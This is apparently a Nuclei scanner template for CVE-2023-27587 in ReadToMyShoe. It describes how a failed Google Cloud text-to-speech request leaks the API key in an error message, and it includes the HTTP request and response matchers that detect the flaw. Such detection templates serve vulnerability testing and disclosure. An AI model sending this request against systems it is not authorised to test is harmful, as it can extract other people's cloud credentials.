id: CVE-2023-27587

info:
  name: ReadToMyShoe - Generation of Error Message Containing Sensitive Information
  author: vagnerd
  severity: medium
  description: |
    ReadToMyShoe generates an error message containing sensitive information prior to commit 8533b01. If an error occurs when adding an article, the website shows the user an error message. If the error originates from the Google Cloud TTS request, it will include the full URL of the request, which contains the Google Cloud API key.
  impact: |
    This vulnerability can lead to the exposure of sensitive information, such as usernames, passwords, or internal system details.
  remediation: This has been patched in commit 8533b01. Upgrading should be accompanied by deleting the current GCP API key and issuing a new one. There are no known workarounds.
  reference:
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-27587
    - https://github.com/rozbb/readtomyshoe/security/advisories/GHSA-23g5-r34j-mr8g
    - https://github.com/sec-fx/CVE-2023-27587-PoC
    - https://github.com/rozbb/readtomyshoe/commit/8533b01c818939a0fa919c7244d8dbf5daf032af
    - https://nvd.nist.gov/vuln/detail/CVE-2023-27587
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 6.5
    cve-id: CVE-2023-27587
    cwe-id: CWE-209
    epss-score: 0.84057
    epss-percentile: 0.99270
    cpe: cpe:2.3:a:readtomyshoe_project:readtomyshoe:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: readtomyshoe_project
    product: readtomyshoe
  tags: cve2023,cve,debug,readtomyshoe,disclosure,readtomyshoe_project

http:
  - raw:
      - |
        POST /api/add-article-by-text HTTP/1.1
        Host: {{Hostname}}
        Accept-Encoding: gzip, deflate
        Content-Type: application/json

        {
          "title":"Kernsicherheitstest",
          "body":"Kernsicherheitstest"
        }

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - '!contains((body), ''https://texttospeech.googleapis.com/v1beta1/text:synthesize?key=REDACTED'')'

      - type: word
        words:
          - "Caused by:"
          - "TTS request failed"
        condition: and

      - type: word
        part: header
        words:
          - "text/plain"

      - type: status
        status:
          - 500
# digest: 4a0a004730450221009b655849e96828a5cc015bb9b9dfbb5acd1b03a6ad0a3fff5db9a05c0b27f41b0220685aff1de9bdae06746e6fc509d2dadb2ee7a6675d4d654dbe31f4d94d9f3cd3:922c64590222798bb761d5b6d8e72950